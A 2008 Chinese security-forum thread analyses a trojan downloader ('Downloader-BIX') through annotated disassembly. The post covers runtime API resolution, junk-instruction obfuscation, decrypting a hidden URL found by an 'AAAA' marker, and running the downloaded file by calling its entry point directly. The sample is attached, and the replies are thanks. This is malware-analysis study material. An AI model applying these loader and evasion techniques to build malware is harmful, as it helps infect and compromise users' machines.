飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 3973|回复: 6

[原创] 简单的DOWNLOADER 分析

[复制链接]

该用户从未签到

发表于 2008-8-13 16:58:23 | 显示全部楼层 |阅读模式
木马:Downloader-BIX
样本见附件
关键点:
1:使用Loadlibrary 和 GetProcessAddress来获取API,运行DOWN回来的东东时是
直接以CALL的形式运行
2:加入大量的垃圾指令  看的眼酸
3:通过解密附加数据来获得 URL
4:以写堆栈的形式 而不是PUSH 的形式 压入函数参数
==================================================================
简要分析(以IDA 和OD为主):
004026B1 >/$  55            push    ebp
004026B2  |.  89E5          mov     ebp, esp
004026B4  |.  83EC 28       sub     esp, 28
004026B7  |.  81EC 3C080000 sub     esp, 83C
004026BD  |.  89E3          mov     ebx, esp
004026BF  |.  8925 AD264000 mov     dword ptr [4026AD], esp
004026C5  |.  A1 44504000   mov     eax, dword ptr [<&KERNEL32.LoadLi>
004026CA  |.  8983 0D040000 mov     dword ptr [ebx+40D], eax
004026D0  |.  A1 48504000   mov     eax, dword ptr [<&KERNEL32.GetPro>
004026D5  |.  8983 A3050000 mov     dword ptr [ebx+5A3], eax
004026DB  |.  E8 54050000   call    00402C34                                                          ;修复IAT

{

           seg000:00402C34                 push    ebp
           seg000:00402C35                 mov     ebp, esp
           seg000:00402C37                 sub     esp, 50h
           seg000:00402C3A                 mov     ebx, stack_base
           seg000:00402C40                 mov     byte ptr [ebx+7DCh], 2Eh       ;这里通过单字节的传送得到字符串
           seg000:00402C47                 or      dh, 9Ah                        ;基本上使用DH DL CH之类的指令都是属于垃圾指令无视好了
           seg000:00402C4A                 mov     byte ptr [ebx+7D9h], 6Ch
           seg000:00402C51                 xor     dl, 82h
           seg000:00402C54                 mov     ch, 59h
           seg000:00402C56                 mov     byte ptr [ebx+7D6h], 72h
           seg000:00402C5D                 mov     byte ptr [ebx+7D7h], 6Eh
           seg000:00402C64                 mov     byte ptr [ebx+7DBh], 32h
           seg000:00402C6B                 mov     byte ptr [ebx+7D5h], 65h
           seg000:00402C72                 or      ch, 0C1h
           seg000:00402C75                 mov     byte ptr [ebx+7E0h], 0
           seg000:00402C7C                 mov     byte ptr [ebx+7D8h], 65h
           seg000:00402C83                 mov     dh, 53h
           seg000:00402C85                 mov     byte ptr [ebx+7DDh], 64h
           seg000:00402C8C                 xor     cl, 24h
           seg000:00402C8F                 add     ch, 5
           seg000:00402C92                 mov     byte ptr [ebx+7DEh], 6Ch
           seg000:00402C99                 mov     byte ptr [ebx+7DAh], 33h
           seg000:00402CA0                 mov     byte ptr [ebx+7D4h], 6Bh
           seg000:00402CA7                 and     ch, 34h
           seg000:00402CAA                 mov     byte ptr [ebx+7DFh], 6Ch
           seg000:00402CB1                 mov     dl, 0CAh
           seg000:00402CB3                 sub     esp, 4
           seg000:00402CB6                 lea     edi, [ebx+7D4h]
           seg000:00402CBC                 mov     [esp+54h+var_54], edi ;   字符串Kernel32.dll
           seg000:00402CBF                 call    dword ptr [ebx+40Dh]  ;LoadLibrary
          整个子函数都是用来 获得API地址的,以下不详述
           ......................................
}
004026E0  |.  8983 71070000 mov     dword ptr [ebx+771], eax
004026E6  |.  C783 29080000>mov     dword ptr [ebx+829], 100000
004026F0  |.  C783 21040000>mov     dword ptr [ebx+421], 300000
004026FA  |.  83EC 10       sub     esp, 10
004026FD  |.  C70424 000000>mov     dword ptr [esp], 6000000
=====================================================================
00402741  |.  8B83 6E010000 mov     eax, dword ptr [ebx+16E]
00402747  |.  8983 7E010000 mov     dword ptr [ebx+17E], eax
0040274D  |.  83EC 04       sub     esp, 4
00402750  |.  80F4 46       xor     ah, 46                            ; |
00402753  |.  8D83 09030000 lea     eax, dword ptr [ebx+309]          ; |
00402759  |.  890424        mov     dword ptr [esp], eax              ; |
0040275C  |.  80E6 1B       and     dh, 1B                            ; |
0040275F  |.  E8 7EF7FFFF   call    00401EE2                          ; \3727D1~1.00401EE2  关键CALL  获得下载URL
{
代码有点长 只列关键的
=================================================================
00401FC5  |> /80EC D6       /sub     ah, 0D6
00401FC8  |. |8BB3 4A040000 |mov     esi, dword ptr [ebx+44A]
00401FCE  |. |803E 00       |cmp     byte ptr [esi], 0
00401FD1  |. |75 02         |jnz     short 00401FD5
00401FD3  |. |EB 3C         |jmp     short 00402011
00401FD5  |> |8BB3 4A040000 |mov     esi, dword ptr [ebx+44A]
00401FDB  |. |803E 22       |cmp     byte ptr [esi], 22
00401FDE  |. |75 08         |jnz     short 00401FE8
00401FE0  |. |80E2 0F       |and     dl, 0F
00401FE3  |. |80E2 3D       |and     dl, 3D
00401FE6  |. |EB 29         |jmp     short 00402011
00401FE8  |> |8BB3 10070000 |mov     esi, dword ptr [ebx+710]
00401FEE  |. |8BBB 4A040000 |mov     edi, dword ptr [ebx+44A]
00401FF4  |. |8A07          |mov     al, byte ptr [edi]
00401FF6  |. |8806          |mov     byte ptr [esi], al
00401FF8  |. |80F5 8E       |xor     ch, 8E
00401FFB  |. |8383 10070000>|add     dword ptr [ebx+710], 1
00402002  |. |8383 4A040000>|add     dword ptr [ebx+44A], 1
00402009  |. |80C9 FF       |or      cl, 0FF
0040200C  |. |80F5 04       |xor     ch, 4
0040200F  |.^\EB B4         \jmp     short 00401FC5
这里是把COMMANDLINE得到的参数 去掉 "和"  算是除了GetModuleFileName外 另一个得到自身文件名的方法
================================================================================
004020CB  |.  80F2 60       xor     dl, 60
004020CE  |.  80EC BE       sub     ah, 0BE
004020D1  |.  C74424 14 000>mov     dword ptr [esp+14], 0
004020D9  |.  80E2 57       and     dl, 57
004020DC  |.  80C2 78       add     dl, 78
004020DF  |.  C74424 18 000>mov     dword ptr [esp+18], 0           ;通过写堆栈来实现参数的PUSH
                                                                                  下面会多次遇到,不详述
004020E7  |.  80ED 08       sub     ch, 8
004020EA  |.  80ED E7       sub     ch, 0E7
004020ED  |.  FF93 7D070000 call    dword ptr [ebx+77D]               ;  kernel32.CreateFileA
===============================================================================================
00402290  |> /8B83 76010000 /mov     eax, dword ptr [ebx+176]
00402296  |. |3983 4A040000 |cmp     dword ptr [ebx+44A], eax
0040229C  |. |75 0B         |jnz     short 004022A9
0040229E  |. |80ED 1E       |sub     ch, 1E
004022A1  |. |80C6 59       |add     dh, 59
004022A4  |. |E9 8F000000   |jmp     00402338
004022A9  |> |8BB3 4A040000 |mov     esi, dword ptr [ebx+44A]
004022AF  |. |813E 41414141 |cmp     dword ptr [esi], 41414141    ;通过AAAA标识来遍历文件寻找加密后的URL 为下面解密做准备
004022B5  |. |74 02         |je      short 004022B9
004022B7  |. |EB 5F         |jmp     short 00402318
004022B9  |> |8B83 4A040000 |mov     eax, dword ptr [ebx+44A]
004022BF  |. |8983 7E060000 |mov     dword ptr [ebx+67E], eax
004022C5  |. |80E1 2E       |and     cl, 2E
004022C8  |. |8383 7E060000>|add     dword ptr [ebx+67E], 4
004022CF  |. |8B83 7E060000 |mov     eax, dword ptr [ebx+67E]
004022D5  |. |8983 10070000 |mov     dword ptr [ebx+710], eax
004022DB  |. |80F1 AB       |xor     cl, 0AB
============================================================================================
00402404  |.  80C1 AE       add     cl, 0AE                           ; |
00402407  |.  8B83 25040000 mov     eax, dword ptr [ebx+425]          ; |
0040240D  |.  894424 04     mov     dword ptr [esp+4], eax            ; |
00402411  |.  B5 0A         mov     ch, 0A                            ; |
00402413  |.  80EE A4       sub     dh, 0A4                           ; |
00402416  |.  E8 24060000   call    00402A3F                          ; \3727D1~1.00402A3F关键CALL 解密开始 算法很简单 有兴趣的自己研究
============================================================================================
}
00402764  |.  8983 82060000 mov     dword ptr [ebx+682], eax
0040276A  |.  83BB 82060000>cmp     dword ptr [ebx+682], 0
00402771  |.  74 05         je      short 00402778
00402773  |.  E9 72010000   jmp     004028EA
00402778  |>  C683 51010000>mov     byte ptr [ebx+151], 31
0040277F  |.  80E1 19       and     cl, 19
==============================================================================
004028EA  |> \83EC 08       sub     esp, 8
004028ED  |.  80C2 DD       add     dl, 0DD                           ; |
004028F0  |.  8D83 09030000 lea     eax, dword ptr [ebx+309]          ; |
004028F6  |.  890424        mov     dword ptr [esp], eax              ; |
004028F9  |.  B1 C9         mov     cl, 0C9                           ; |
004028FB  |.  80E5 F5       and     ch, 0F5                           ; |
004028FE  |.  8DBB 4E040000 lea     edi, dword ptr [ebx+44E]          ; |
00402904  |.  897C24 04     mov     dword ptr [esp+4], edi            ; |
00402908  |.  80C1 F8       add     cl, 0F8                           ; |
0040290B  |.  80C9 D4       or      cl, 0D4                           ; |
0040290E  |.  E8 EDE6FFFF   call    00401000                          ; \3727D1~1.00401000 下载服务器上的文件
      调用了相关API 需要注意的就是 垃圾指令太多,第一次连接上服务器  服务器会以字符串形式返回下载的文件大小,由于URL已经失效
所以返回了  页面的大小 "169" 换算成16进制就是0A9h
===============================================================================================================
seg000:00402A00                 add     cl, 0A3h
seg000:00402A03                 mov     eax, [ebp+arg_8]
seg000:00402A06                 mov     [esp+890h+var_87C], eax
seg000:00402A0A                 mov     eax, [ebp+arg_C]
seg000:00402A0D                 mov     [esp+890h+var_878], eax
seg000:00402A11                 or      cl, 9Fh
seg000:00402A14                 sub     cl, 8Eh
seg000:00402A17                 call    sub_4024AF       ;这个CALL就是运行DOWN回来文件的关键CALL
{
  ..................................
  seg000:00402676                 xor     ch, 0Eh
  seg000:00402679                 and     ch, 0Ah
  seg000:0040267C                 mov     eax, [ebp+arg_10]
  seg000:0040267F                 mov     [esp+5Ch+var_58], eax
  seg000:00402683                 or      dh, 0D9h
  seg000:00402686                 mov     dh, 56h
  seg000:00402688                 mov     eax, [ebp+arg_14]
  seg000:0040268B                 mov     [esp+5Ch+var_54], eax
  seg000:0040268F                 mov     eax, [ebp+arg_18]
  seg000:00402692                 mov     [esp+5Ch+var_50], eax
  seg000:00402696                 add     cl, 0D2h
  seg000:00402699                 call    dword ptr [ebx+456h]  ;ebx+456h 所存放的就是down回来的PE文件的入口点 直接就运行了文件 本来还
                                                                                  以为会通过CreateProcess之类的运行  这次长见识了
  seg000:0040269F                 add     esp, 10h
  seg000:004026A2                 popa
  seg000:004026A3                 mov     [ebx+597h], eax
}
篇幅有限 这里只是简要分析,详细的分析过程太长了就不贴了     由于  木马下载的服务器已经失效了  直接在本机运行调试就可以了  至少我没分析出其他有害的地方
当然最保险的还是在虚拟机里调试  万一 服务器在某个时间开通  。。。。。。。。。

[ 本帖最后由 xhn1002 于 2008-8-13 17:03 编辑 ]

3727D1~1.rar

10.44 KB, 下载次数: 2, 下载积分: 飘云币 -2 枚

评分

参与人数 1飘云币 +40 收起 理由
hj2008mt + 40 PYG有你更精彩!

查看全部评分

PYG19周年生日快乐!
  • TA的每日心情
    开心
    2023-10-17 08:24
  • 签到天数: 6 天

    [LV.2]偶尔看看I

    发表于 2008-8-16 09:12:26 | 显示全部楼层
    辛苦辛苦,谢谢指导
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2008-8-20 22:24:18 | 显示全部楼层

    看看学习一下/:good
    PYG19周年生日快乐!
  • TA的每日心情
    开心
    2016-12-24 08:16
  • 签到天数: 464 天

    [LV.9]以坛为家II

    发表于 2008-8-23 22:14:02 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    PYG19周年生日快乐!
  • TA的每日心情
    难过
    2024-5-30 20:36
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2008-9-1 15:28:42 | 显示全部楼层
    努力学习中。。。。。。
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2008-9-1 17:29:59 | 显示全部楼层
    这真是学习的好教材,事实举例清楚明了! 认真学习了!
    PYG19周年生日快乐!
  • TA的每日心情
    难过
    2024-5-30 20:36
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2008-9-1 22:52:54 | 显示全部楼层
    现在还是云里雾里的,希望顺着高手的脚步前进
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表